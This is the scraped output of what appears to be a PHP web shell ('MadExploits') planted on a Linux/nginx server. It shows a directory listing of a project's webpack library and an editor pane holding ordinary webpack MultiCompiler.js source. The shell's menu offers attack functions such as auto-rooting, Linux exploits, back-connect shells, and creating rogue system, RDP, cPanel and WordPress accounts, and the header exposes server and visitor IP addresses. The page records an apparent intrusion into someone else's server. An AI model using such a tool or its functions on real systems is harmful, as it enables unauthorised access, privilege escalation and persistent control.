Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.2
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
amatya /
quiz1 /
node_modules /
webpack /
lib /
[ HOME SHELL ]
Name
Size
Permission
Action
asset
[ DIR ]
dr-xr-xr-x
async-modules
[ DIR ]
dr-xr-xr-x
cache
[ DIR ]
dr-xr-xr-x
config
[ DIR ]
dr-xr-xr-x
container
[ DIR ]
dr-xr-xr-x
css
[ DIR ]
dr-xr-xr-x
debug
[ DIR ]
dr-xr-xr-x
dependencies
[ DIR ]
dr-xr-xr-x
electron
[ DIR ]
dr-xr-xr-x
errors
[ DIR ]
dr-xr-xr-x
esm
[ DIR ]
dr-xr-xr-x
hmr
[ DIR ]
dr-xr-xr-x
ids
[ DIR ]
dr-xr-xr-x
javascript
[ DIR ]
dr-xr-xr-x
json
[ DIR ]
dr-xr-xr-x
library
[ DIR ]
dr-xr-xr-x
logging
[ DIR ]
dr-xr-xr-x
node
[ DIR ]
dr-xr-xr-x
optimize
[ DIR ]
dr-xr-xr-x
performance
[ DIR ]
dr-xr-xr-x
prefetch
[ DIR ]
dr-xr-xr-x
rules
[ DIR ]
dr-xr-xr-x
runtime
[ DIR ]
dr-xr-xr-x
schemes
[ DIR ]
dr-xr-xr-x
serialization
[ DIR ]
dr-xr-xr-x
sharing
[ DIR ]
dr-xr-xr-x
stats
[ DIR ]
dr-xr-xr-x
util
[ DIR ]
dr-xr-xr-x
wasm
[ DIR ]
dr-xr-xr-x
wasm-async
[ DIR ]
dr-xr-xr-x
wasm-sync
[ DIR ]
dr-xr-xr-x
web
[ DIR ]
dr-xr-xr-x
webworker
[ DIR ]
dr-xr-xr-x
APIPlugin.js
9.33
KB
-rw-rw-rw-
AbstractMethodError.js
1.2
KB
-rw-rw-rw-
AsyncDependenciesBlock.js
3.26
KB
-rw-rw-rw-
AsyncDependencyToInitialChunkE...
913
B
-rw-rw-rw-
AutomaticPrefetchPlugin.js
1.52
KB
-rw-rw-rw-
BannerPlugin.js
3.6
KB
-rw-rw-rw-
Cache.js
4.02
KB
-rw-rw-rw-
CacheFacade.js
8.5
KB
-rw-rw-rw-
CaseSensitiveModulesWarning.js
2.07
KB
-rw-rw-rw-
Chunk.js
22.66
KB
-rw-rw-rw-
ChunkGraph.js
53.68
KB
-rw-rw-rw-
ChunkGroup.js
15.36
KB
-rw-rw-rw-
ChunkRenderError.js
657
B
-rw-rw-rw-
ChunkTemplate.js
5.74
KB
-rw-rw-rw-
CleanPlugin.js
11.96
KB
-rw-rw-rw-
CodeGenerationError.js
619
B
-rw-rw-rw-
CodeGenerationResults.js
4.56
KB
-rw-rw-rw-
CommentCompilationWarning.js
725
B
-rw-rw-rw-
CompatibilityPlugin.js
5.74
KB
-rw-rw-rw-
Compilation.js
165.88
KB
-rw-rw-rw-
Compiler.js
39.7
KB
-rw-rw-rw-
ConcatenationScope.js
4.23
KB
-rw-rw-rw-
ConcurrentCompilationError.js
441
B
-rw-rw-rw-
ConditionalInitFragment.js
3.68
KB
-rw-rw-rw-
ConstPlugin.js
16.16
KB
-rw-rw-rw-
ContextExclusionPlugin.js
786
B
-rw-rw-rw-
ContextModule.js
37.37
KB
-rw-rw-rw-
ContextModuleFactory.js
13.99
KB
-rw-rw-rw-
ContextReplacementPlugin.js
5.26
KB
-rw-rw-rw-
CssModule.js
4.67
KB
-rw-rw-rw-
DefinePlugin.js
19.65
KB
-rw-rw-rw-
DelegatedModule.js
8.05
KB
-rw-rw-rw-
DelegatedModuleFactoryPlugin.j...
3.44
KB
-rw-rw-rw-
DelegatedPlugin.js
1.11
KB
-rw-rw-rw-
DependenciesBlock.js
3.47
KB
-rw-rw-rw-
Dependency.js
10.23
KB
-rw-rw-rw-
DependencyTemplate.js
2.77
KB
-rw-rw-rw-
DependencyTemplates.js
1.71
KB
-rw-rw-rw-
DllEntryPlugin.js
1.67
KB
-rw-rw-rw-
DllModule.js
5.16
KB
-rw-rw-rw-
DllModuleFactory.js
1018
B
-rw-rw-rw-
DllPlugin.js
1.83
KB
-rw-rw-rw-
DllReferencePlugin.js
6.06
KB
-rw-rw-rw-
DynamicEntryPlugin.js
2.3
KB
-rw-rw-rw-
EntryOptionPlugin.js
2.88
KB
-rw-rw-rw-
EntryPlugin.js
1.73
KB
-rw-rw-rw-
Entrypoint.js
2.99
KB
-rw-rw-rw-
EnvironmentNotSupportAsyncWarn...
1.85
KB
-rw-rw-rw-
EnvironmentPlugin.js
1.87
KB
-rw-rw-rw-
ErrorHelpers.js
2.85
KB
-rw-rw-rw-
EvalDevToolModulePlugin.js
4.17
KB
-rw-rw-rw-
EvalSourceMapDevToolPlugin.js
7.22
KB
-rw-rw-rw-
ExportsInfo.js
45.01
KB
-rw-rw-rw-
ExportsInfoApiPlugin.js
2.52
KB
-rw-rw-rw-
ExternalModule.js
29.18
KB
-rw-rw-rw-
ExternalModuleFactoryPlugin.js
9.68
KB
-rw-rw-rw-
ExternalsPlugin.js
899
B
-rw-rw-rw-
FileSystemInfo.js
116.52
KB
-rw-rw-rw-
FlagAllModulesAsUsedPlugin.js
1.5
KB
-rw-rw-rw-
FlagDependencyExportsPlugin.js
12.94
KB
-rw-rw-rw-
FlagDependencyUsagePlugin.js
10.81
KB
-rw-rw-rw-
FlagEntryExportAsUsedPlugin.js
1.46
KB
-rw-rw-rw-
Generator.js
5.06
KB
-rw-rw-rw-
GraphHelpers.js
1.06
KB
-rw-rw-rw-
HarmonyLinkingError.js
357
B
-rw-rw-rw-
HookWebpackError.js
2.03
KB
-rw-rw-rw-
HotModuleReplacementPlugin.js
29.02
KB
-rw-rw-rw-
HotUpdateChunk.js
353
B
-rw-rw-rw-
IgnoreErrorModuleFactory.js
1.02
KB
-rw-rw-rw-
IgnorePlugin.js
2.66
KB
-rw-rw-rw-
IgnoreWarningsPlugin.js
919
B
-rw-rw-rw-
InitFragment.js
5.35
KB
-rw-rw-rw-
InvalidDependenciesModuleWarni...
1.83
KB
-rw-rw-rw-
JavascriptMetaInfoPlugin.js
2.3
KB
-rw-rw-rw-
LibManifestPlugin.js
4.42
KB
-rw-rw-rw-
LibraryTemplatePlugin.js
1.55
KB
-rw-rw-rw-
LoaderOptionsPlugin.js
2.25
KB
-rw-rw-rw-
LoaderTargetPlugin.js
747
B
-rw-rw-rw-
MainTemplate.js
12.59
KB
-rw-rw-rw-
Module.js
33.3
KB
-rw-rw-rw-
ModuleBuildError.js
1.84
KB
-rw-rw-rw-
ModuleDependencyError.js
1.15
KB
-rw-rw-rw-
ModuleDependencyWarning.js
1.26
KB
-rw-rw-rw-
ModuleError.js
1.48
KB
-rw-rw-rw-
ModuleFactory.js
1.4
KB
-rw-rw-rw-
ModuleFilenameHelpers.js
13.51
KB
-rw-rw-rw-
ModuleGraph.js
25
KB
-rw-rw-rw-
ModuleGraphConnection.js
5.53
KB
-rw-rw-rw-
ModuleHashingError.js
615
B
-rw-rw-rw-
ModuleInfoHeaderPlugin.js
8.87
KB
-rw-rw-rw-
ModuleNotFoundError.js
2.63
KB
-rw-rw-rw-
ModuleParseError.js
3.58
KB
-rw-rw-rw-
ModuleProfile.js
2.44
KB
-rw-rw-rw-
ModuleRestoreError.js
1.01
KB
-rw-rw-rw-
ModuleSourceTypesConstants.js
2.4
KB
-rw-rw-rw-
ModuleStoreError.js
1
KB
-rw-rw-rw-
ModuleTemplate.js
5.17
KB
-rw-rw-rw-
ModuleTypeConstants.js
6.47
KB
-rw-rw-rw-
ModuleWarning.js
1.56
KB
-rw-rw-rw-
MultiCompiler.js
18.04
KB
-rw-rw-rw-
MultiStats.js
5.74
KB
-rw-rw-rw-
MultiWatching.js
1.55
KB
-rw-rw-rw-
NoEmitOnErrorsPlugin.js
713
B
-rw-rw-rw-
NoModeWarning.js
663
B
-rw-rw-rw-
NodeStuffInWebError.js
843
B
-rw-rw-rw-
NodeStuffPlugin.js
8.17
KB
-rw-rw-rw-
NormalModule.js
49.02
KB
-rw-rw-rw-
NormalModuleFactory.js
38.85
KB
-rw-rw-rw-
NormalModuleReplacementPlugin....
2.05
KB
-rw-rw-rw-
NullFactory.js
637
B
-rw-rw-rw-
OptimizationStages.js
225
B
-rw-rw-rw-
OptionsApply.js
523
B
-rw-rw-rw-
Parser.js
968
B
-rw-rw-rw-
PlatformPlugin.js
894
B
-rw-rw-rw-
PrefetchPlugin.js
1.14
KB
-rw-rw-rw-
ProgressPlugin.js
19.76
KB
-rw-rw-rw-
ProvidePlugin.js
3.63
KB
-rw-rw-rw-
RawModule.js
5.18
KB
-rw-rw-rw-
RecordIdsPlugin.js
6.69
KB
-rw-rw-rw-
RequestShortener.js
755
B
-rw-rw-rw-
RequireJsStuffPlugin.js
2.24
KB
-rw-rw-rw-
ResolverFactory.js
5.05
KB
-rw-rw-rw-
RuntimeGlobals.js
9.59
KB
-rw-rw-rw-
RuntimeModule.js
5.97
KB
-rw-rw-rw-
RuntimePlugin.js
16.98
KB
-rw-rw-rw-
RuntimeTemplate.js
32.79
KB
-rw-rw-rw-
SelfModuleFactory.js
844
B
-rw-rw-rw-
SingleEntryPlugin.js
161
B
-rw-rw-rw-
SizeFormatHelpers.js
584
B
-rw-rw-rw-
SourceMapDevToolModuleOptionsP...
1.49
KB
-rw-rw-rw-
SourceMapDevToolPlugin.js
18.47
KB
-rw-rw-rw-
Stats.js
2.23
KB
-rw-rw-rw-
Template.js
12.76
KB
-rw-rw-rw-
TemplatedPathPlugin.js
10.15
KB
-rw-rw-rw-
UnhandledSchemeError.js
833
B
-rw-rw-rw-
UnsupportedFeatureWarning.js
780
B
-rw-rw-rw-
UseStrictPlugin.js
2.61
KB
-rw-rw-rw-
WarnCaseSensitiveModulesPlugin...
1.72
KB
-rw-rw-rw-
WarnDeprecatedOptionPlugin.js
1.46
KB
-rw-rw-rw-
WarnNoModeSetPlugin.js
545
B
-rw-rw-rw-
WatchIgnorePlugin.js
3.93
KB
-rw-rw-rw-
Watching.js
14.34
KB
-rw-rw-rw-
WebpackError.js
1.72
KB
-rw-rw-rw-
WebpackIsIncludedPlugin.js
2.71
KB
-rw-rw-rw-
WebpackOptionsApply.js
28.97
KB
-rw-rw-rw-
WebpackOptionsDefaulter.js
818
B
-rw-rw-rw-
buildChunkGraph.js
41.36
KB
-rw-rw-rw-
cli.js
17.44
KB
-rw-rw-rw-
formatLocation.js
1.73
KB
-rw-rw-rw-
index.js
18.22
KB
-rw-rw-rw-
validateSchema.js
6.34
KB
-rw-rw-rw-
webpack.js
5.99
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : MultiCompiler.js
/* MIT License http://www.opensource.org/licenses/mit-license.php Author Tobias Koppers @sokra */ "use strict"; const asyncLib = require("neo-async"); const { SyncHook, MultiHook } = require("tapable"); const ConcurrentCompilationError = require("./ConcurrentCompilationError"); const MultiStats = require("./MultiStats"); const MultiWatching = require("./MultiWatching"); const WebpackError = require("./WebpackError"); const ArrayQueue = require("./util/ArrayQueue"); /** @template T @typedef {import("tapable").AsyncSeriesHook<T>} AsyncSeriesHook<T> */ /** @template T @template R @typedef {import("tapable").SyncBailHook<T, R>} SyncBailHook<T, R> */ /** @typedef {import("../declarations/WebpackOptions").WatchOptions} WatchOptions */ /** @typedef {import("./Compiler")} Compiler */ /** @typedef {import("./Stats")} Stats */ /** @typedef {import("./Watching")} Watching */ /** @typedef {import("./logging/Logger").Logger} Logger */ /** @typedef {import("./util/fs").InputFileSystem} InputFileSystem */ /** @typedef {import("./util/fs").IntermediateFileSystem} IntermediateFileSystem */ /** @typedef {import("./util/fs").OutputFileSystem} OutputFileSystem */ /** @typedef {import("./util/fs").WatchFileSystem} WatchFileSystem */ /** * @template T * @callback Callback * @param {Error | null} err * @param {T=} result */ /** * @callback RunWithDependenciesHandler * @param {Compiler} compiler * @param {Callback<MultiStats>} callback */ /** * @typedef {object} MultiCompilerOptions * @property {number=} parallelism how many Compilers are allows to run at the same time in parallel */ module.exports = class MultiCompiler { /** * @param {Compiler[] | Record<string, Compiler>} compilers child compilers * @param {MultiCompilerOptions} options options */ constructor(compilers, options) { if (!Array.isArray(compilers)) { /** @type {Compiler[]} */ compilers = Object.keys(compilers).map(name => { /** @type {Record<string, Compiler>} */ (compilers)[name].name = name; return /** @type {Record<string, Compiler>} */ (compilers)[name]; }); } this.hooks = Object.freeze({ /** @type {SyncHook<[MultiStats]>} */ done: new SyncHook(["stats"]), /** @type {MultiHook<SyncHook<[string | null, number]>>} */ invalid: new MultiHook(compilers.map(c => c.hooks.invalid)), /** @type {MultiHook<AsyncSeriesHook<[Compiler]>>} */ run: new MultiHook(compilers.map(c => c.hooks.run)), /** @type {SyncHook<[]>} */ watchClose: new SyncHook([]), /** @type {MultiHook<AsyncSeriesHook<[Compiler]>>} */ watchRun: new MultiHook(compilers.map(c => c.hooks.watchRun)), /** @type {MultiHook<SyncBailHook<[string, string, any[]], true>>} */ infrastructureLog: new MultiHook( compilers.map(c => c.hooks.infrastructureLog) ) }); this.compilers = compilers; /** @type {MultiCompilerOptions} */ this._options = { parallelism: options.parallelism || Infinity }; /** @type {WeakMap<Compiler, string[]>} */ this.dependencies = new WeakMap(); this.running = false; /** @type {(Stats | null)[]} */ const compilerStats = this.compilers.map(() => null); let doneCompilers = 0; for (let index = 0; index < this.compilers.length; index++) { const compiler = this.compilers[index]; const compilerIndex = index; let compilerDone = false; // eslint-disable-next-line no-loop-func compiler.hooks.done.tap("MultiCompiler", stats => { if (!compilerDone) { compilerDone = true; doneCompilers++; } compilerStats[compilerIndex] = stats; if (doneCompilers === this.compilers.length) { this.hooks.done.call( new MultiStats(/** @type {Stats[]} */ (compilerStats)) ); } }); // eslint-disable-next-line no-loop-func compiler.hooks.invalid.tap("MultiCompiler", () => { if (compilerDone) { compilerDone = false; doneCompilers--; } }); } this._validateCompilersOptions(); } _validateCompilersOptions() { if (this.compilers.length < 2) return; /** * @param {Compiler} compiler compiler * @param {WebpackError} warning warning */ const addWarning = (compiler, warning) => { compiler.hooks.thisCompilation.tap("MultiCompiler", compilation => { compilation.warnings.push(warning); }); }; const cacheNames = new Set(); for (const compiler of this.compilers) { if (compiler.options.cache && "name" in compiler.options.cache) { const name = compiler.options.cache.name; if (cacheNames.has(name)) { addWarning( compiler, new WebpackError( `${ compiler.name ? `Compiler with name "${compiler.name}" doesn't use unique cache name. ` : "" }Please set unique "cache.name" option. Name "${name}" already used.` ) ); } else { cacheNames.add(name); } } } } get options() { return Object.assign( this.compilers.map(c => c.options), this._options ); } get outputPath() { let commonPath = this.compilers[0].outputPath; for (const compiler of this.compilers) { while ( compiler.outputPath.indexOf(commonPath) !== 0 && /[/\\]/.test(commonPath) ) { commonPath = commonPath.replace(/[/\\][^/\\]*$/, ""); } } if (!commonPath && this.compilers[0].outputPath[0] === "/") return "/"; return commonPath; } get inputFileSystem() { throw new Error("Cannot read inputFileSystem of a MultiCompiler"); } /** * @param {InputFileSystem} value the new input file system */ set inputFileSystem(value) { for (const compiler of this.compilers) { compiler.inputFileSystem = value; } } get outputFileSystem() { throw new Error("Cannot read outputFileSystem of a MultiCompiler"); } /** * @param {OutputFileSystem} value the new output file system */ set outputFileSystem(value) { for (const compiler of this.compilers) { compiler.outputFileSystem = value; } } get watchFileSystem() { throw new Error("Cannot read watchFileSystem of a MultiCompiler"); } /** * @param {WatchFileSystem} value the new watch file system */ set watchFileSystem(value) { for (const compiler of this.compilers) { compiler.watchFileSystem = value; } } /** * @param {IntermediateFileSystem} value the new intermediate file system */ set intermediateFileSystem(value) { for (const compiler of this.compilers) { compiler.intermediateFileSystem = value; } } get intermediateFileSystem() { throw new Error("Cannot read outputFileSystem of a MultiCompiler"); } /** * @param {string | (function(): string)} name name of the logger, or function called once to get the logger name * @returns {Logger} a logger with that name */ getInfrastructureLogger(name) { return this.compilers[0].getInfrastructureLogger(name); } /** * @param {Compiler} compiler the child compiler * @param {string[]} dependencies its dependencies * @returns {void} */ setDependencies(compiler, dependencies) { this.dependencies.set(compiler, dependencies); } /** * @param {Callback<MultiStats>} callback signals when the validation is complete * @returns {boolean} true if the dependencies are valid */ validateDependencies(callback) { /** @type {Set<{source: Compiler, target: Compiler}>} */ const edges = new Set(); /** @type {string[]} */ const missing = []; /** * @param {Compiler} compiler compiler * @returns {boolean} target was found */ const targetFound = compiler => { for (const edge of edges) { if (edge.target === compiler) { return true; } } return false; }; /** * @param {{source: Compiler, target: Compiler}} e1 edge 1 * @param {{source: Compiler, target: Compiler}} e2 edge 2 * @returns {number} result */ const sortEdges = (e1, e2) => /** @type {string} */ (e1.source.name).localeCompare(/** @type {string} */ (e2.source.name)) || /** @type {string} */ (e1.target.name).localeCompare(/** @type {string} */ (e2.target.name)); for (const source of this.compilers) { const dependencies = this.dependencies.get(source); if (dependencies) { for (const dep of dependencies) { const target = this.compilers.find(c => c.name === dep); if (!target) { missing.push(dep); } else { edges.add({ source, target }); } } } } /** @type {string[]} */ const errors = missing.map(m => `Compiler dependency \`${m}\` not found.`); const stack = this.compilers.filter(c => !targetFound(c)); while (stack.length > 0) { const current = stack.pop(); for (const edge of edges) { if (edge.source === current) { edges.delete(edge); const target = edge.target; if (!targetFound(target)) { stack.push(target); } } } } if (edges.size > 0) { /** @type {string[]} */ const lines = Array.from(edges) .sort(sortEdges) .map(edge => `${edge.source.name} -> ${edge.target.name}`); lines.unshift("Circular dependency found in compiler dependencies."); errors.unshift(lines.join("\n")); } if (errors.length > 0) { const message = errors.join("\n"); callback(new Error(message)); return false; } return true; } // TODO webpack 6 remove /** * @deprecated This method should have been private * @param {Compiler[]} compilers the child compilers * @param {RunWithDependenciesHandler} fn a handler to run for each compiler * @param {Callback<MultiStats>} callback the compiler's handler * @returns {void} */ runWithDependencies(compilers, fn, callback) { const fulfilledNames = new Set(); let remainingCompilers = compilers; /** * @param {string} d dependency * @returns {boolean} when dependency was fulfilled */ const isDependencyFulfilled = d => fulfilledNames.has(d); /** * @returns {Compiler[]} compilers */ const getReadyCompilers = () => { const readyCompilers = []; const list = remainingCompilers; remainingCompilers = []; for (const c of list) { const dependencies = this.dependencies.get(c); const ready = !dependencies || dependencies.every(isDependencyFulfilled); if (ready) { readyCompilers.push(c); } else { remainingCompilers.push(c); } } return readyCompilers; }; /** * @param {Callback<MultiStats>} callback callback * @returns {void} */ const runCompilers = callback => { if (remainingCompilers.length === 0) return callback(null); asyncLib.map( getReadyCompilers(), (compiler, callback) => { fn(compiler, err => { if (err) return callback(err); fulfilledNames.add(compiler.name); runCompilers(callback); }); }, (err, results) => { callback(err, /** @type {TODO} */ (results)); } ); }; runCompilers(callback); } /** * @template SetupResult * @param {function(Compiler, number, Callback<Stats>, function(): boolean, function(): void, function(): void): SetupResult} setup setup a single compiler * @param {function(Compiler, SetupResult, Callback<Stats>): void} run run/continue a single compiler * @param {Callback<MultiStats>} callback callback when all compilers are done, result includes Stats of all changed compilers * @returns {SetupResult[]} result of setup */ _runGraph(setup, run, callback) { /** @typedef {{ compiler: Compiler, setupResult: undefined | SetupResult, result: undefined | Stats, state: "pending" | "blocked" | "queued" | "starting" | "running" | "running-outdated" | "done", children: Node[], parents: Node[] }} Node */ // State transitions for nodes: // -> blocked (initial) // blocked -> starting [running++] (when all parents done) // queued -> starting [running++] (when processing the queue) // starting -> running (when run has been called) // running -> done [running--] (when compilation is done) // done -> pending (when invalidated from file change) // pending -> blocked [add to queue] (when invalidated from aggregated changes) // done -> blocked [add to queue] (when invalidated, from parent invalidation) // running -> running-outdated (when invalidated, either from change or parent invalidation) // running-outdated -> blocked [running--] (when compilation is done) /** @type {Node[]} */ const nodes = this.compilers.map(compiler => ({ compiler, setupResult: undefined, result: undefined, state: "blocked", children: [], parents: [] })); /** @type {Map<string, Node>} */ const compilerToNode = new Map(); for (const node of nodes) { compilerToNode.set(/** @type {string} */ (node.compiler.name), node); } for (const node of nodes) { const dependencies = this.dependencies.get(node.compiler); if (!dependencies) continue; for (const dep of dependencies) { const parent = /** @type {Node} */ (compilerToNode.get(dep)); node.parents.push(parent); parent.children.push(node); } } /** @type {ArrayQueue<Node>} */ const queue = new ArrayQueue(); for (const node of nodes) { if (node.parents.length === 0) { node.state = "queued"; queue.enqueue(node); } } let errored = false; let running = 0; const parallelism = /** @type {number} */ (this._options.parallelism); /** * @param {Node} node node * @param {(Error | null)=} err error * @param {Stats=} stats result * @returns {void} */ const nodeDone = (node, err, stats) => { if (errored) return; if (err) { errored = true; return asyncLib.each( nodes, (node, callback) => { if (node.compiler.watching) { node.compiler.watching.close(callback); } else { callback(); } }, () => callback(err) ); } node.result = stats; running--; if (node.state === "running") { node.state = "done"; for (const child of node.children) { if (child.state === "blocked") queue.enqueue(child); } } else if (node.state === "running-outdated") { node.state = "blocked"; queue.enqueue(node); } processQueue(); }; /** * @param {Node} node node * @returns {void} */ const nodeInvalidFromParent = node => { if (node.state === "done") { node.state = "blocked"; } else if (node.state === "running") { node.state = "running-outdated"; } for (const child of node.children) { nodeInvalidFromParent(child); } }; /** * @param {Node} node node * @returns {void} */ const nodeInvalid = node => { if (node.state === "done") { node.state = "pending"; } else if (node.state === "running") { node.state = "running-outdated"; } for (const child of node.children) { nodeInvalidFromParent(child); } }; /** * @param {Node} node node * @returns {void} */ const nodeChange = node => { nodeInvalid(node); if (node.state === "pending") { node.state = "blocked"; } if (node.state === "blocked") { queue.enqueue(node); processQueue(); } }; /** @type {SetupResult[]} */ const setupResults = []; for (const [i, node] of nodes.entries()) { setupResults.push( (node.setupResult = setup( node.compiler, i, nodeDone.bind(null, node), () => node.state !== "starting" && node.state !== "running", () => nodeChange(node), () => nodeInvalid(node) )) ); } let processing = true; const processQueue = () => { if (processing) return; processing = true; process.nextTick(processQueueWorker); }; const processQueueWorker = () => { // eslint-disable-next-line no-unmodified-loop-condition while (running < parallelism && queue.length > 0 && !errored) { const node = /** @type {Node} */ (queue.dequeue()); if ( node.state === "queued" || (node.state === "blocked" && node.parents.every(p => p.state === "done")) ) { running++; node.state = "starting"; run( node.compiler, /** @type {SetupResult} */ (node.setupResult), nodeDone.bind(null, node) ); node.state = "running"; } } processing = false; if ( !errored && running === 0 && nodes.every(node => node.state === "done") ) { const stats = []; for (const node of nodes) { const result = node.result; if (result) { node.result = undefined; stats.push(result); } } if (stats.length > 0) { callback(null, new MultiStats(stats)); } } }; processQueueWorker(); return setupResults; } /** * @param {WatchOptions|WatchOptions[]} watchOptions the watcher's options * @param {Callback<MultiStats>} handler signals when the call finishes * @returns {MultiWatching} a compiler watcher */ watch(watchOptions, handler) { if (this.running) { return handler(new ConcurrentCompilationError()); } this.running = true; if (this.validateDependencies(handler)) { const watchings = this._runGraph( (compiler, idx, callback, isBlocked, setChanged, setInvalid) => { const watching = compiler.watch( Array.isArray(watchOptions) ? watchOptions[idx] : watchOptions, callback ); if (watching) { watching._onInvalid = setInvalid; watching._onChange = setChanged; watching._isBlocked = isBlocked; } return watching; }, (compiler, watching, callback) => { if (compiler.watching !== watching) return; if (!watching.running) watching.invalidate(); }, handler ); return new MultiWatching(watchings, this); } return new MultiWatching([], this); } /** * @param {Callback<MultiStats>} callback signals when the call finishes * @returns {void} */ run(callback) { if (this.running) { return callback(new ConcurrentCompilationError()); } this.running = true; if (this.validateDependencies(callback)) { this._runGraph( () => {}, (compiler, setupResult, callback) => compiler.run(callback), (err, stats) => { this.running = false; if (callback !== undefined) { return callback(err, stats); } } ); } } purgeInputFileSystem() { for (const compiler of this.compilers) { if (compiler.inputFileSystem && compiler.inputFileSystem.purge) { compiler.inputFileSystem.purge(); } } } /** * @param {Callback<void>} callback signals when the compiler closes * @returns {void} */ close(callback) { asyncLib.each( this.compilers, (compiler, callback) => { compiler.close(callback); }, error => { callback(error); } ); } };
Close